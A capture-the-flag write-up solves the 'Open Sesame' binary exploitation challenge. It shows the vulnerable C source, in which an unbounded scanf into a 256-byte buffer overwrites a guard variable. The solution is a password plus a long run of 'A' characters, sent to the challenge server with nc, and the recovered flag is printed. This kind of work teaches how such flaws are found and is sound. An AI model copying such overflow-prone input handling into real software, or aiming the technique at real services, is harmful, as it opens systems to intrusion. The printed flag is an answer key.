Open Sesame

Writeup by Speer
Category: Binary Exploitation

Author: JohnHammond

Description

Something about forty thieves or something? I don't know, they must have had some secret incantation to get the gold!

files: `open_sesame.c` `open_sesame`

open_sesame.c

```c
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

#define SECRET_PASS "OpenSesame!!!"

typedef enum {no, yes} Bool;

void flushBuffers() {
    fflush(NULL);
}

void flag()
{
    system("/bin/cat flag.txt");
    flushBuffers();
}

Bool isPasswordCorrect(char *input)
{
    return (strncmp(input, SECRET_PASS, strlen(SECRET_PASS)) == 0)
? yes : no;
}

void caveOfGold()
{
    Bool caveCanOpen = no;
    char inputPass[256];
```

```
    puts("BEHOLD THE CAVE OF GOLD\n");

    puts("What is the magic enchantment that opens the mouth of the
cave?");
    flushBuffers();

    scanf("%s", inputPass);

    if (caveCanOpen == no)
    {
        puts("Sorry, the cave will not open right now!");
        flushBuffers();
        return;
    }

    if (isPasswordCorrect(inputPass) == yes)
    {
        puts("YOU HAVE PROVEN YOURSELF WORTHY HERE IS THE GOLD:");
        flag();
    }
    else
    {
        puts("ERROR, INCORRECT PASSWORD!");
        flushBuffers();
    }
}

int main()
{
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    caveOfGold();

    return 0;
}
```

There may be a buffer overflow with the `inputPass` variable in the `scanf`. I want to get to this section of memory and then overflow the buffer to activate the flag function:

```
 if (caveCanOpen == no)
    {
        puts("Sorry, the cave will not open right now!");
        flushBuffers();
```

```
        return;
    }

    if (isPasswordCorrect(inputPass) == yes)
    {
        puts("YOU HAVE PROVEN YOURSELF WORTHY HERE IS THE GOLD:");
        flag();
```

We will need the password to get to this section. Fortunately it is defined at the top:

```
#define SECRET_PASS "OpenSesame!!!"                                    C
```

I'll start off with 300 `A` characters since it has a 256 byte buffer.

```
 $ python3 -c 'print("A"*300)'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAA
```

```
 $ ./open_sesame
BEHOLD THE CAVE OF GOLD

What is the magic enchantment that opens the mouth of the cave?
OpenSesame!!!AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAA
YOU HAVE PROVEN YOURSELF WORTHY HERE IS THE GOLD:
got the flag
zsh: segmentation fault  ./open_sesame
```

It activated! So now to connect to the remote server:

```
 $ nc challenge.nahamcon.com <PORT>
BEHOLD THE CAVE OF GOLD

What is the magic enchantment that opens the mouth of the cave?
OpenSesame!!!AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

```
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
YOU HAVE PROVEN YOURSELF WORTHY HERE IS THE GOLD:
flag{85605e34d3d2623866c57843a0d2c4da}
```